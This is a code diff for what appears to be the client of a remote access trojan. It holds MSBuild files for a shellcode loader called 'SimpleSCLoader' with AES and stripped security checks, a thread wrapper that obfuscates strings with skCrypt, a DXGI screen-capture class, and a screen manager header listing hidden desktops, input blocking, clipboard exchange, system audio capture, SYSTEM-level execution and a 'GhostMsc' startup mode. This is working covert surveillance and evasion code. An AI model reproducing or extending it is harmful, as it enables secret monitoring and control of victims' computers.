</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;ECB=0;CTR=0;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<ExceptionHandling>false</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<FloatingPointModel>Fast</FloatingPointModel>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EntryPointSymbol>entry</EntryPointSymbol>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;ECB=0;CTR=0;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<ExceptionHandling>false</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<FloatingPointModel>Fast</FloatingPointModel>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EntryPointSymbol>entry</EntryPointSymbol>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\aes.c" />
<ClCompile Include="SimpleSCLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="SimpleSCLoader.c">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\common\aes.c">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

96
client/SafeThread.cpp Normal file
View File

@@ -0,0 +1,96 @@
#include "stdafx.h"
#include "SafeThread.h"
#include <stdexcept>
#include <map>
// RoutineInfo 记录线程相关信息.
typedef struct RoutineInfo {
DWORD tid; // 线程ID
LPTHREAD_START_ROUTINE Func; // 线程函数
LPVOID Param; // 线程参数
OnException Excep; // 异常处理函数
LPVOID User; // 额外参数
std::string File; // 创建线程的文件
int Line; // 文件行数
std::string Name; // 函数名称
bool Trace; // 追踪线程运行情况
} RoutineInfo;
DWORD HandleCppException(RoutineInfo& ri)
{
try {
return ri.Func(ri.Param); // 调用实际线程函数
} catch (const std::exception& e) {
if (ri.Excep) {
Mprintf("[%d] 捕获 C++ 异常: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
return ri.Excep(ri.User, ri.Param);
}
Mprintf("[%d] 捕获 C++ 异常: %s. 没有提供异常处理程序[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
} catch (...) {
if (ri.Excep) {
Mprintf("[%d] 捕获未知 C++ 异常. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line);
return ri.Excep(ri.User, ri.Param);
}
Mprintf("[%d] 捕获未知 C++ 异常. 没有提供异常处理程序[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line);
}
return 0xDEAD0002;
}
DWORD HandleSEHException(RoutineInfo & ri)
{
__try {
// 执行实际线程函数
return HandleCppException(ri);
} __except (EXCEPTION_EXECUTE_HANDLER) {
if (ri.Excep) {
Mprintf("[%d] 捕获硬件异常,线程不会崩溃. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
return ri.Excep(ri.User, ri.Param);
}
Mprintf("[%d] 捕获硬件异常. 没有提供异常处理程序[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
return 0xDEAD0001; // 返回错误状态
}
}
// 通用异常包装函数
DWORD WINAPI ThreadWrapper(LPVOID lpParam)
{
RoutineInfo *ri = (RoutineInfo *)lpParam;
ri->tid = GetCurrentThreadId();
RoutineInfo pRealThreadFunc = *ri;
delete ri;
if (pRealThreadFunc.Trace) {
CAutoLog Log(pRealThreadFunc.Name.c_str());
// 异常捕获
return HandleSEHException(pRealThreadFunc);
}
// 异常捕获
return HandleSEHException(pRealThreadFunc);
}
// 创建带异常保护的线程,记录创建线程的文件、行数和函数名称
HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
if (excep) assert(user); // 异常处理函数和参数必须同时提供
if (excep && !user) {
Mprintf("[ERROR] 提供了异常处理函数但 user 为 NULL, 拒绝创建线程[%s:%d]!\n", file, line);
return NULL;
}
auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 };
HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId);
if (!hThread) {
Mprintf("[ERROR] 创建线程失败GetLastError=%lu [%s:%d]\n", GetLastError(), file, line);
delete ri;
return NULL;
}
return hThread;
}

17
client/SafeThread.h Normal file
View File

@@ -0,0 +1,17 @@
#pragma once
#include "stdafx.h"
#include "common/skCrypter.h"
typedef DWORD (*OnException)(LPVOID user, LPVOID param);
// 创建带异常保护的线程
HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
#if USING_SAFETHRED
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p3),p1,p2,0,p3,p4,p5,p6)
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p4),p1,p2,p3,p4,p5,p6,p7)
#else
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateThread(nullptr,0,p3,p4,p5,p6)
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateThread(nullptr,p3,p4,p5,p6,p7)
#endif

1116
client/ScreenCapture.h Normal file

File diff suppressed because it is too large Load Diff

314
client/ScreenCapturerDXGI.h Normal file
View File

@@ -0,0 +1,314 @@
#pragma once
#include "stdafx.h"
#include "ScreenCapture.h"
#include "common/commands.h"
// 只要你安装了 Windows 8 SDK 或更高版本的 Windows SDK编译器就能找到 dxgi1_2.h 并成功编译。
// 仅在 Windows 8 及更新版本上受支持
#include <dxgi1_2.h>
#include <d3d11.h>
#include <common/iniFile.h>
#pragma comment(lib, "d3d11.lib")
#pragma comment(lib, "dxgi.lib")
// author: ChatGPT
// update: 962914132@qq.com
// DXGI 1.2IDXGIOutputDuplication相比传统 GDI 截屏,性能提升通常在 3 倍到 10 倍之间,具体取决于硬件、分辨率和使用场景。
class ScreenCapturerDXGI : public ScreenCapture
{
private:
ID3D11Device* d3dDevice = nullptr;
ID3D11DeviceContext* d3dContext = nullptr;
IDXGIOutputDuplication* deskDupl = nullptr;
ID3D11Texture2D* cpuTexture = nullptr;
BYTE* m_NextBuffer = nullptr;
public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
{
m_GOP = gop;
InitDXGI(all);
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
}
~ScreenCapturerDXGI()
{
CleanupDXGI();
SAFE_DELETE_ARRAY(m_FirstBuffer);
SAFE_DELETE_ARRAY(m_NextBuffer);
SAFE_DELETE_ARRAY(m_RectBuffer);
}
virtual BOOL UsingDXGI() const
{
return TRUE;
}
void InitDXGI(BOOL all)
{
m_iScreenX = 0;
m_iScreenY = 0;
// 1. 创建 D3D11 设备
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
IDXGIFactory1* pFactory = nullptr;
IDXGIAdapter1* dxgiAdapter = nullptr;
IDXGIOutput* dxgiOutput = nullptr;
IDXGIOutput1* dxgiOutput1 = nullptr;
// 2. 创建工厂
CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory);
if (!pFactory) return;
do {
// 3. 获取设备
static UINT idx = 0;
idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx;
if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter);
if (!dxgiAdapter)break;
// 4. 获取 DXGI 输出(屏幕)
static UINT screen = 0;
HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput);
if (r == DXGI_ERROR_NOT_FOUND && all) {
screen = 0;
idx ++;
dxgiAdapter->Release();
dxgiAdapter = nullptr;
continue;
}
if (!dxgiOutput)break;
// 4.1 获取屏幕位置(多显示器支持)
DXGI_OUTPUT_DESC outputDesc;
if (SUCCEEDED(dxgiOutput->GetDesc(&outputDesc))) {
m_iScreenX = outputDesc.DesktopCoordinates.left;
m_iScreenY = outputDesc.DesktopCoordinates.top;
}
// 5. 获取 DXGI 输出 1
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
if (!dxgiOutput1)break;
// 6. 创建 Desktop Duplication
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
if (!deskDupl)break;
// 7. 获取屏幕大小
DXGI_OUTDUPL_DESC duplDesc;
deskDupl->GetDesc(&duplDesc);
m_ulFullWidth = duplDesc.ModeDesc.Width;
m_ulFullHeight = duplDesc.ModeDesc.Height;
// 8. 创建 CPU 访问纹理
D3D11_TEXTURE2D_DESC desc = {};
desc.Width = m_ulFullWidth;
desc.Height = m_ulFullHeight;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_STAGING;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
// 9. 初始化 BITMAPINFO
m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight);
iniFile cfg(CLIENT_PATH);
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0);
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0);
if (strategy == 1) {
// strategy=1 或不支持缩放: 原始分辨率
} else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) {
// maxWidth>0: 自定义 maxWidth等比缩放自适应质量使用
float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth;
m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth;
m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio);
m_BitmapInfor_Send->bmiHeader.biSizeImage =
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
} else {
// strategy=0 或 maxWidth=0: 默认 1080p 限制
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
m_BitmapInfor_Send->bmiHeader.biSizeImage =
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
}
// 10. 分配屏幕缓冲区
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomFirst = nullptr;
break;
} while (true);
// 释放 DXGI 资源
if (dxgiOutput1) dxgiOutput1->Release();
if (dxgiOutput) dxgiOutput->Release();
if (dxgiAdapter) dxgiAdapter->Release();
if (pFactory) pFactory->Release();
}
bool IsInitSucceed() const
{
return cpuTexture;
}
void CleanupDXGI()
{
if (cpuTexture) cpuTexture->Release();
if (deskDupl) deskDupl->Release();
if (d3dContext) d3dContext->Release();
if (d3dDevice) d3dDevice->Release();
}
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
{
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
return bitmap;
}
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
}
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
{
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
scaleBitmap(m_BmpZoomBuffer, m_FirstBuffer);
memcpy(m_FirstBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
if (ret)
return nullptr;
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
}
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
return m_FirstBuffer;
}
LPBYTE ScanNextScreen() override
{
ULONG ulNextScreenLength = 0;
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
if (ret)
return nullptr;
return m_NextBuffer;
}
virtual LPBYTE GetFirstBuffer() const
{
return m_FirstBuffer + 1;
}
private:
// 重新初始化 Desktop Duplication
BOOL ReinitDuplication()
{
if (deskDupl) {
deskDupl->Release();
deskDupl = nullptr;
}
if (!d3dDevice) return FALSE;
IDXGIDevice* dxgiDevice = nullptr;
IDXGIAdapter* dxgiAdapter = nullptr;
IDXGIOutput* dxgiOutput = nullptr;
IDXGIOutput1* dxgiOutput1 = nullptr;
HRESULT hr = d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
if (FAILED(hr)) return FALSE;
hr = dxgiDevice->GetAdapter(&dxgiAdapter);
dxgiDevice->Release();
if (FAILED(hr)) return FALSE;
hr = dxgiAdapter->EnumOutputs(0, &dxgiOutput);
dxgiAdapter->Release();
if (FAILED(hr)) return FALSE;
hr = dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
dxgiOutput->Release();
if (FAILED(hr)) return FALSE;
Sleep(100);
hr = dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
dxgiOutput1->Release();
return SUCCEEDED(hr) && deskDupl;
}
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes)
{
if (!deskDupl) {
if (!ReinitDuplication()) return -10;
}
// 1. 获取下一帧
IDXGIResource* desktopResource = nullptr;
DXGI_OUTDUPL_FRAME_INFO frameInfo;
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
// 处理全屏切换导致的访问丢失
if (hr == DXGI_ERROR_ACCESS_LOST) {
if (ReinitDuplication()) {
hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
}
}
if (FAILED(hr)) {
return -1;
}
// 2. 获取 ID3D11Texture2D
ID3D11Texture2D* texture = nullptr;
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
if (FAILED(hr)) {
deskDupl->ReleaseFrame();
return -2;
}
// 3. 复制到 CPU 纹理
d3dContext->CopyResource(cpuTexture, texture);
// 4. 释放 DXGI 资源
deskDupl->ReleaseFrame();
texture->Release();
desktopResource->Release();
// 5. 读取纹理数据
D3D11_MAPPED_SUBRESOURCE mapped;
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
if (FAILED(hr)) {
return -3;
}
// 6. 复制数据到缓冲区(垂直翻转)
BYTE* pData = (BYTE*)mapped.pData;
int rowSize = m_ulFullWidth * 4; // 每行的字节数RGBA
BYTE* dest = buffer + reservedBytes + (m_ulFullHeight - 1) * rowSize;
BYTE* src = pData;
for (int y = 0; y < m_ulFullHeight; y++) {
memcpy(dest, src, rowSize);
dest -= rowSize;
src += mapped.RowPitch;
}
// 7. 清理
d3dContext->Unmap(cpuTexture, 0);
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
return 0;
}
};

2627
client/ScreenManager.cpp Normal file

File diff suppressed because it is too large Load Diff

124
client/ScreenManager.h Normal file
View File

@@ -0,0 +1,124 @@
// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "ScreenSpy.h"
#include "ScreenCapture.h"
// WASAPI 前向声明 (COM 接口)
struct IMMDevice;
struct IAudioClient;
struct IAudioCaptureClient;
// WAVEFORMATEX 使用 void* 避免包含头文件
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
bool IsWindows8orHigher();
BOOL IsRunningAsSystem();
class IOCPClient;
struct UserParam;
class CScreenManager : public CManager
{
public:
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
ScreenSettings m_ScreenSettings = { 20 };
QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖)
virtual void InitScreenSpy();
void LoadQualityProfiles(); // 从配置文件加载质量配置
void SaveQualityProfiles(); // 保存质量配置到配置文件
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ScreenCapture* m_ScreenSpyObject;
VOID SendFirstScreen();
const char* GetNextScreen(ULONG &ulNextSendLength);
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
UserParam *m_pUserParam = NULL;
INT_PTR m_ptrUser;
HDESK g_hDesk;
BOOL m_isGDI;
std::string m_DesktopID;
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
BOOL SendClientClipboard(BOOL fast);
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
std::string m_hash;
std::string m_hmac;
CONNECT_ADDRESS *m_conn = nullptr;
uint64_t m_MyClientID = 0; // V2: 本机客户端ID
void SetConnection(CONNECT_ADDRESS* conn)
{
m_conn = conn;
if (conn) m_MyClientID = conn->clientID;
}
bool IsRunAsService() const
{
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
return true;
static BOOL is_run_as_system = IsRunningAsSystem();
return is_run_as_system;
}
// 获取当前活动桌面(带写权限,用于锁屏等安全桌面)
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
HDESK s_inputDesk = NULL;
clock_t s_lastCheck = 0;
DWORD s_lastThreadId = 0;
bool SwitchScreen();
bool RestartScreen();
void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab
virtual BOOL OnReconnect();
uint64_t m_nReconnectTime = 0; // 重连开始时间
uint64_t m_DlgID = 0;
BOOL m_SendFirst = FALSE;
// 虚拟桌面
BOOL m_virtual;
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
int m_nSwitchWindowIndex = 0; // 切换窗口索引
// ========== 系统音频捕获 (WASAPI Loopback) ==========
volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志(独立于视频线程)
volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化
HANDLE m_hAudioThread = NULL; // 音频线程句柄
HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒
// WASAPI 相关
IMMDevice* m_pAudioDevice = nullptr;
IAudioClient* m_pAudioClient = nullptr;
IAudioCaptureClient* m_pCaptureClient = nullptr;
void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX*
BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback
void UninitWASAPI(); // 释放 WASAPI 资源
static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
};
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)

162
client/ScreenSpy.cpp Normal file
View File

@@ -0,0 +1,162 @@
// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenSpy.h"
#include "Common.h"
#include <stdio.h>
#include <common/iniFile.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
ScreenCapture(ulbiBitCount, algo, all)
{
m_GOP = gop;
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
iniFile cfg(CLIENT_PATH);
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0);
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0);
Mprintf("CScreenSpy: strategy=%d, maxWidth=%d, fullWidth=%d, algo=%d\n",
strategy, maxWidth, m_BitmapInfor_Send->bmiHeader.biWidth, m_bAlgorithm);
if (strategy == 1) {
// strategy=1: 用户明确选择原始分辨率
Mprintf("CScreenSpy: 使用原始分辨率\n");
} else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) {
// maxWidth>0: 自定义 maxWidth等比缩放自适应质量使用
float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth;
m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth;
m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio);
m_BitmapInfor_Send->bmiHeader.biSizeImage =
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
Mprintf("CScreenSpy: 自定义分辨率 %dx%d\n",
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
} else {
// strategy=0 或 maxWidth=0: 默认 1080p 限制
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
m_BitmapInfor_Send->bmiHeader.biSizeImage =
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
Mprintf("CScreenSpy: 1080p 限制 %dx%d\n",
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
}
m_hDeskTopDC = GetDC(NULL);
m_BitmapData_Full = NULL;
m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
